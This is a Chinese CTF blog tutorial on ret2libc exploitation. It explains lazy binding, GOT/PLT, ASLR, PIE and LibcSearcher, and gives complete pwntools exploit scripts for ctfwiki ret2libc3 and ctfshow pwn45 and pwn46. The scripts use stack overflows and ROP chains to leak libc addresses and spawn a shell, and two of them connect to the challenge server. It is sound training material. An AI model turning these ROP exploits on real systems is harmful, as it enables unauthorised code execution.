前置知识点
实际上,在之前的ret2libc题目中,我们还没有接触到ret2libc的核心,因为plt表里是存在现成的system的,但是大多数题目中,根本就没有出现或者引用过system函数,即使动态表里有system函数,程序也不会建立对应的plt表
因此,我们必须要知道system函数的地址,即进行经典的泄露libc的操作,这对于我们对ROP链的使用要求又上了一个台阶,因此我个人认为这一块到了pwn里真正开始上难度的地方了
在开始之前,我们必须要知道几个前置知识点,每一块想要掌握都需要费一番功夫
延迟绑定机制
我们知道,在动态链接时,我们需要从动态链接库链接外部函数,那么这个链接外部函数的过程是怎么样的呢
实际上,程序在第一次调用某个外部函数前,程序是不知道这个函数的具体位置的,也只有在第一次调用时,它才会去找这个函数在libc里的真实地址
每次执行 func@plt 时,程序首先执行 jmp [got.func],即jmp到got表里对应函数的地址,接下来程序会做一个判断:
如果 GOT 中记录的是跳板地址(还没有被解析),也就是ida里看到的offset func地址,则会 push index 后跳到 plt[0],plt[0]是所有函数第一次被调用时的公共入口,从这里开始解析函数地址,plt[0]调用动态链接器ld.so,开始查找该函数在libc的真实地址,把真实地址写入GOT表,后续可以直接从got表里调用,不用再经过复杂的plt表解析函数地址
如果 GOT 中记录的是真实函数地址(解析完成),就直接跳过去调用真实函数
我们需要重点了解第一种情况,即函数第一次被调用的过程
实际上,第一次借助plt表寻找函数的真实地址是一个相对复杂的过程,我只解释到表面的过程,底层的原理这个博主讲的很详细
https://starrysky1004.github.io/2024/09/26/linux-yan-chi-bang-ding-ji-zhi-guo-cheng/linux-yan-chi-bang-ding-ji-zhi-guo-cheng/
ALSR技术
在 Linux 系统中,栈随机化已经变成了标准行为。 它是更大的一类技术中的一种,这
类技术称为地址空间布局随机化(Address-Space Layout Randomization), 或者简称 ASLR
[99] 。采用 ASLR, 每次运行时程序的不同部分,包括程序代码、库代码、栈、 全局变最
和堆数据,都会被加载到内存的不同区域。 这就意味着在一台机器上运行一个程序,与在
其他机器上运行同样的程序,它们的地址映射大相径庭。这样才能够对抗一些形式的
攻击
以上出自《CSAPP》3.10.4 对抗缓冲区溢出攻击
在现代 Linux 系统中,ASLR 通常是全局开启的
PIE保护和ASLR技术的关系
如果程序没有开启 PIE,即使 ASLR 开启,攻击者仍然可以利用固定的代码地址来构造 ROP 链(因为代码基址不变)
只有当 PIE 和 ASLR 同时开启时,一个进程的所有关键内存区域(代码、全局数据、栈、堆、动态链接库)的地址才会全部被随机化,使得攻击者难以预测任何地址
以下的题目PIE保护全都是关的,所以正如上所说,我们可以用基址和偏移去计算,有公式:
真实地址 = 基址 + 偏移
我们一个个来看,实际上,ASLR导致了libc的基址是随机的,这就需要我们自己泄露。我们知道,got表里存放着函数的真实地址,因此,我们可以在got表找出某一个函数func1,打印其地址,就得到了该函数的真实地址
我们需要知道,每个版本的libc库,函数地址的偏移量是固定的,换句话说,我们需要知道我们的程序调用的是哪个版本的libc库,从而知道不同函数对应的偏移量
我们用打印出的func1的真实地址减去偏移量,就能得到libc的基址,然后加上对应函数(如system函数)的偏移,就可以得到该函数的真实地址了
手动计算
这种情况适用于题目给了libc.so.6和ld-linux-x86-64.so.2文件,目前我还没有遇到过这种题,因此暂时按下不表
LibcSearcher的使用
如果题目只给了一个ELF二进制文件,那么我们可以用LibcSearcher去查找使用的libc库
首先讲讲它的工作原理,一般来说,libc的基址以0xf7开头
LibcSearcher内置了大量 libc 的函数偏移数据库,它通过泄露的实际地址减去偏移反推 libc 基址,再通过不断尝试,匹配出最可能的libc,也就是0xf7开头的,如果我们泄露多个函数时,它会交叉过滤,最终锁定正确的libc版本,将该版本的libc偏移量返回给我们
exp鉴赏
因为本篇ret2libc进阶的内容非常重要,也是最常考的,为了能够快速上手并且深刻理解,我先分析一下一些比较经典的exp,我认为看的多了,写的时候就有思路了
当然说这些还是纸上谈兵,后面实战演练时我们会在靶场打一打
eg1:ctfwiki 基本ROP ret2libc3
1 2 3 4 5 6 7 8 9 10 11
| int __cdecl main(int argc, const char **argv, const char **envp) { char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No surprise anymore, system disappeard QQ."); printf("Can you find it !?"); gets(s); return 0; }
|
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| #!/usr/bin/env python from pwn import * from LibcSearcher import LibcSearcher sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts'] libc_start_main_got = ret2libc3.got['__libc_start_main'] main = ret2libc3.symbols['main'] #__libc_start_main这个函数比较特别 #使用它是因为它在所有ELF中都存在,偏移稳定,最容易唯一匹配libc #并且LibcSearcher里通常会有这个函数
print("leak libc_start_main_got addr and return to main again") #开始第一阶段泄露
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got]) sh.sendlineafter(b'Can you find it !?', payload) #[A填充 112字节] #return address = puts@plt #next return = main #参数 = libc_start_main@got
print("get the related addr") libc_start_main_addr = u32(sh.recv(4)) #接收泄露出的地址 #接收前四个字节,u32按照小端序,打印成整数
libc = LibcSearcher('__libc_start_main', libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main') #libc基址=libc_start_main地址-libc_start_main的偏移
system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump('str_bin_sh') #计算system和bin/sh的实际地址
print("get shell") payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr]) #其实我也没看明白为什么偏移量和第一次的不一样 #AI的解释是我们是通过puts ret到的main,并不是正常返回 #因此少了puts 的 saved EBP + ret共8个字节
sh.sendline(payload)
sh.interactive()
|

32位系统 无system无bin/sh字符串
eg1:ctfshow pwn45
1 2 3 4 5 6 7 8 9
| int __cdecl main(int argc, const char **argv, const char **envp) { init(&argc); logo(); puts("O.o?"); ctfshow(); write(0, "Hello CTFshow!\n", 0xEu); return 0; }
|
1 2 3 4 5 6
| ssize_t ctfshow() { char buf[103]; // [esp+Dh] [ebp-6Bh] BYREF
return read(0, buf, 0xC8u); }
|

我们本地启动简单看一下,实际上程序并不复杂,输出了字符串O.o?后让我们输入
左侧函数窗口函数不多,可以肯定是动态链接


我们重点看一下我框起来的,粉色区域加粗的函数说明是从外部的libc库中调用的,这是我们重点关注对象

在got表里看一下,确实是这五个函数。这里要注意我们的got表在ida里是.got.plt表,不是.plt.got表,后者没什么用
我们用libcsearcher需要提供任意一个函数就可以了,我这里随便选一个libc_start_main_
下面展示一下我根据ctfwiki改编的exp,无AI。每一段我之前已经解读过了,就不再解读了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #!/usr/bin/env python from pwn import * from LibcSearcher import LibcSearcher
context.log_level = 'debug' context.binary = './pwn'
#sh = process('./pwn') sh = remote('pwn.challenge.ctf.show', 28144) pwn = ELF('./pwn')
puts_plt = pwn.plt['puts'] libc_start_main_got = pwn.got['__libc_start_main'] main = pwn.symbols['main']
print("leak libc_start_main_got addr and return to main again") payload = flat([b'A' * (0x6B+0x4), puts_plt, main, libc_start_main_got]) sh.sendlineafter(b'O.o?', payload)
print("get the related addr") libc_start_main_addr =u32(sh.recvuntil(b'\xf7')[-4:]) libc = LibcSearcher('__libc_start_main', libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main') system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump('str_bin_sh')
print("get shell") payload = flat([b'A' *(0x6B+0x4) , system_addr, 0xdeadbeef, binsh_addr]) sh.sendline(payload)
sh.interactive()
|

打通后,libcsearcher匹配到了两个可能的libc版本,我们输入0或者1挨个试一下就可以了,这里用第二个版本打通了

64位系统 无system无bin/sh字符串
eg2:ctfshow pwn46
1 2 3 4 5 6 7 8 9
| int __cdecl main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); puts("O.o?"); ctfshow(); write(0, "Hello CTFshow!\n", 0xEuLL); return 0; }
|
1 2 3 4 5 6
| ssize_t ctfshow() { char buf[112]; // [rsp+0h] [rbp-70h] BYREF
return read(0, buf, 0xC8uLL); }
|
程序和上一题没什么太大区别,具体我不细贴了,我们直接看一下我的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| #!/usr/bin/env python from pwn import * from LibcSearcher import LibcSearcher
context.log_level = 'debug' context.binary = './pwn'
#sh = process('./pwn') sh = remote('pwn.challenge.ctf.show', 28280) pwn = ELF('./pwn')
puts_plt = pwn.plt['puts'] libc_start_main_got = pwn.got['__libc_start_main'] main = pwn.symbols['main']
#以上套模板照抄
offset = 0x70 + 0x8 ret_addr = 0x4004fe pop_rdi_addr = 0x400803
#ROPgadget算一下
print("leak libc_start_main_got addr and return to main again") payload = b'A' * (0x70+0x8) payload += p64(pop_rdi_addr) payload += p64(libc_start_main_got) payload += p64(puts_plt) payload += p64(main) sh.sendlineafter(b'O.o?', payload)
print("get the related addr") libc_start_main_addr =u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#注意接收libc地址的方式不同
libc = LibcSearcher('__libc_start_main', libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main') system_addr = libcbase + libc.dump('system') bin_sh_addr = libcbase + libc.dump('str_bin_sh')
#以上计算过程套模板照抄
print("get shell") payload = b'a'*(0x70+0x8) payload += p64(pop_rdi_addr) #pop rdi payload += p64(bin_sh_addr) #bin/sh payload += p64(ret_addr) #ret payload += p64(system_addr) #system sh.sendline(payload) sh.interactive()
|

总结
32位和64位exp的对比
相比于32位的exp,64位的exp有如下改动:
1.libc_start_main_addr =u64(sh.recvuntil(b’\x7f’)[-6:].ljust(8, b’\x00’))
2.两段payload不同
32位payload1:调用puts,设置返回地址为main,设置puts参数为libc函数
64位payload2:pop rdi寄存器,将libc参数放进rdi寄存器,调用puts函数,返回地址为main
32位payload2:覆盖返回地址为system,设置system返回地址为虚假地址,设置system参数为bin/sh
64位payload2:pop rdi寄存器,将libc参数放入rdi寄存器,ret保证栈堆平衡,调用system函数
结语
这篇博客是我目前为用时最久的一篇,exp没有依靠也依靠不了AI编写,仅用了AI讲解基础知识点,自己做出来的时候还是挺高兴的
可以说从这里开始,我们对ROP链的使用更上了一个台阶。可以看到,无system的题型虽然比有system的题型考的多也考的难,比如我们第一次用了两次payload。但是,这些依然离不开之前的基础,重点还是要理解32位和64位的传参方式及其区别,以及函数调用约定,栈是如何分布和增长的等。不可否认做题可以套模板,但是套模板的同时一定要做到理解背后的原理,清楚的知道自己每一步在干什么,而不是生搬硬套,这样就失去了做题的意义了